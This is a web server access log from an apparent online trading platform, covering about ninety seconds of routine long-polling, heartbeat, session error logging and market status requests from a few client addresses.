[09/Jan/2026:10:00:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924291216 HTTP/1.1" -
[09/Jan/2026:10:00:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924293812 HTTP/1.1" -
[09/Jan/2026:10:00:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:00:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:00:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:00:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924309347 HTTP/1.1" -
[09/Jan/2026:10:00:27 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924296052 HTTP/1.1" -
[09/Jan/2026:10:00:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924296271 HTTP/1.1" -
[09/Jan/2026:10:00:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924298956 HTTP/1.1" -
[09/Jan/2026:10:00:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924314372 HTTP/1.1" -
[09/Jan/2026:10:00:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:00:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:00:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924301306 HTTP/1.1" -
[09/Jan/2026:10:00:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924304119 HTTP/1.1" -
[09/Jan/2026:10:00:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924302053 HTTP/1.1" -
[09/Jan/2026:10:00:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924319416 HTTP/1.1" -
[09/Jan/2026:10:00:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924306360 HTTP/1.1" -
[09/Jan/2026:10:00:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924309190 HTTP/1.1" -
[09/Jan/2026:10:00:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924308053 HTTP/1.1" -
[09/Jan/2026:10:00:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924324488 HTTP/1.1" -
[09/Jan/2026:10:00:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924311403 HTTP/1.1" -
[09/Jan/2026:10:00:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924314248 HTTP/1.1" -
[09/Jan/2026:10:00:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:00:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924314053 HTTP/1.1" -
[09/Jan/2026:10:00:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924329559 HTTP/1.1" -
[09/Jan/2026:10:00:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924316455 HTTP/1.1" -
[09/Jan/2026:10:00:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924319524 HTTP/1.1" -
[09/Jan/2026:10:00:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924334634 HTTP/1.1" -
[09/Jan/2026:10:00:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924320052 HTTP/1.1" -
[09/Jan/2026:10:00:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924321477 HTTP/1.1" -
[09/Jan/2026:10:00:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:00:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924324658 HTTP/1.1" -
[09/Jan/2026:10:00:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:00:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:00:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:00:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924339653 HTTP/1.1" -
[09/Jan/2026:10:00:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924326527 HTTP/1.1" -
[09/Jan/2026:10:00:57 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924326054 HTTP/1.1" -
[09/Jan/2026:10:00:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924329777 HTTP/1.1" -
[09/Jan/2026:10:01:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924344685 HTTP/1.1" -
[09/Jan/2026:10:01:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:01:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:01:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924331559 HTTP/1.1" -
[09/Jan/2026:10:01:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924334910 HTTP/1.1" -
[09/Jan/2026:10:01:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924332054 HTTP/1.1" -
[09/Jan/2026:10:01:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924349715 HTTP/1.1" -
[09/Jan/2026:10:01:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924336601 HTTP/1.1" -
[09/Jan/2026:10:01:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924339954 HTTP/1.1" -
[09/Jan/2026:10:01:09 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924338052 HTTP/1.1" -
[09/Jan/2026:10:01:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924354773 HTTP/1.1" -
[09/Jan/2026:10:01:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924341628 HTTP/1.1" -
[09/Jan/2026:10:01:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924345110 HTTP/1.1" -
[09/Jan/2026:10:01:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:01:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924344059 HTTP/1.1" -
[09/Jan/2026:10:01:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924359811 HTTP/1.1" -
[09/Jan/2026:10:01:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924346656 HTTP/1.1" -
[09/Jan/2026:10:01:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924350240 HTTP/1.1" -
[09/Jan/2026:10:01:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924364882 HTTP/1.1" -
[09/Jan/2026:10:01:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924350052 HTTP/1.1" -
[09/Jan/2026:10:01:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924351682 HTTP/1.1" -
[09/Jan/2026:10:01:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:01:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924355389 HTTP/1.1" -
[09/Jan/2026:10:01:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:01:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:01:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924369942 HTTP/1.1" -
[09/Jan/2026:10:01:27 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924356058 HTTP/1.1" -
[09/Jan/2026:10:01:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924356734 HTTP/1.1" -
[09/Jan/2026:10:01:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924360511 HTTP/1.1" -
[09/Jan/2026:10:01:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:01:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:01:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924374968 HTTP/1.1" -
[09/Jan/2026:10:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:01:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:01:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924361766 HTTP/1.1" -
[09/Jan/2026:10:01:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924362052 HTTP/1.1" -
[09/Jan/2026:10:01:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924365715 HTTP/1.1" -
